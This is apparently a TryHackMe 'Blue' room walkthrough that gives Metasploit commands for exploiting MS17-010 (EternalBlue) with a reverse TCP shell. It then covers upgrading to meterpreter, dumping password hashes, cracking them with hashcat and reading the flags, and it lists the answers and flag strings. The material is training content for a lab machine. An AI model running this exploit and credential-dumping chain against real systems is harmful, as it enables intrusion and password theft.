This is my TryHackMe walkthrough, created to document my learning journey and share solutions with the community. The writeups include a mix of hints, step-by-step explanations, and final answers to help players who get stuck, while still encouraging independent problem-solving.

Blue Room - Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

Overview

Walkthrough

1. Recon

  • How many ports are open with a port number under 1000?

nmap <MACHINE_IP> -p 0-1000

=> Answer: 3

  • What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

=> Answer: ms17-010

2. Gain Access

  • Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

msfconsole
search ms17_010

=> Answer: exploit/windows/smb/ms17_010_eternalblue

  • Show options and set the one required value. What is the name of this value? (All caps for submission)

use ms17_010_eternalblue
show options

=> Answer: RHOSTS

  • Gain access to the target VM:
set payload windows/x64/shell/reverse_tcp
set RHOSTS <target VM IP>
run
  • Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
Ctrl + Z
use post/multi/manage/shell_to_meterpreter
sessions -l
set SESSION 2
run

3. Escalate

  • If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected) 

=> Answer: post/multi/manage/shell_to_meterpreter

  • Select this (use MODULE_PATH). Show options, what option are we required to change?

=> Answer: SESSION

  • Set the required option, you may need to list all of the sessions to find your target here. 

SET SESSION 2
  • Run! If this doesn't work, try completing the exploit from the previous task once more.

run
  • Once the meterpreter shell conversion completes, select that session for use.

sessions -i <meterpreter session>
  • Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again. 

  • List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

  • Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time. 

# Take several attempts try multiple processes
migrate <process id>

4. Cracking

  • Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user? 

hashdump

=> Answer: Jon

  • Copy this password hash to a file and research how to crack it. What is the cracked password?

echo 'YOUR HASH VALUE' > hash.txt
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# If you just have rockyou.txt.gz, decompress it.
gzip -d /usr/share/wordlists/rockyou.txt.gz
# Run hashcat again
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

=> Answer: alqfna22

5. Find flags!

Ctrl + Z
Get back to the original shell for better performance
sessions -i <original session id>
  • Flag1? This flag can be found at the system root. 
cd ..
cd ..
dir
type flag1.txt

=> Answer: flag{access_the_machine}

  • Flag2? This flag can be found at the location where passwords are stored within Windows.


    *Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen. 

cd Windows/System32/Config
dir
type flag2.txt

=> Answer: flag{sam_database_elevated_access}

  • flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved. 

cd /Users/Jon/Documents
type flag3.txt

=> Answer: flag{admin_documents_can_be_valuable}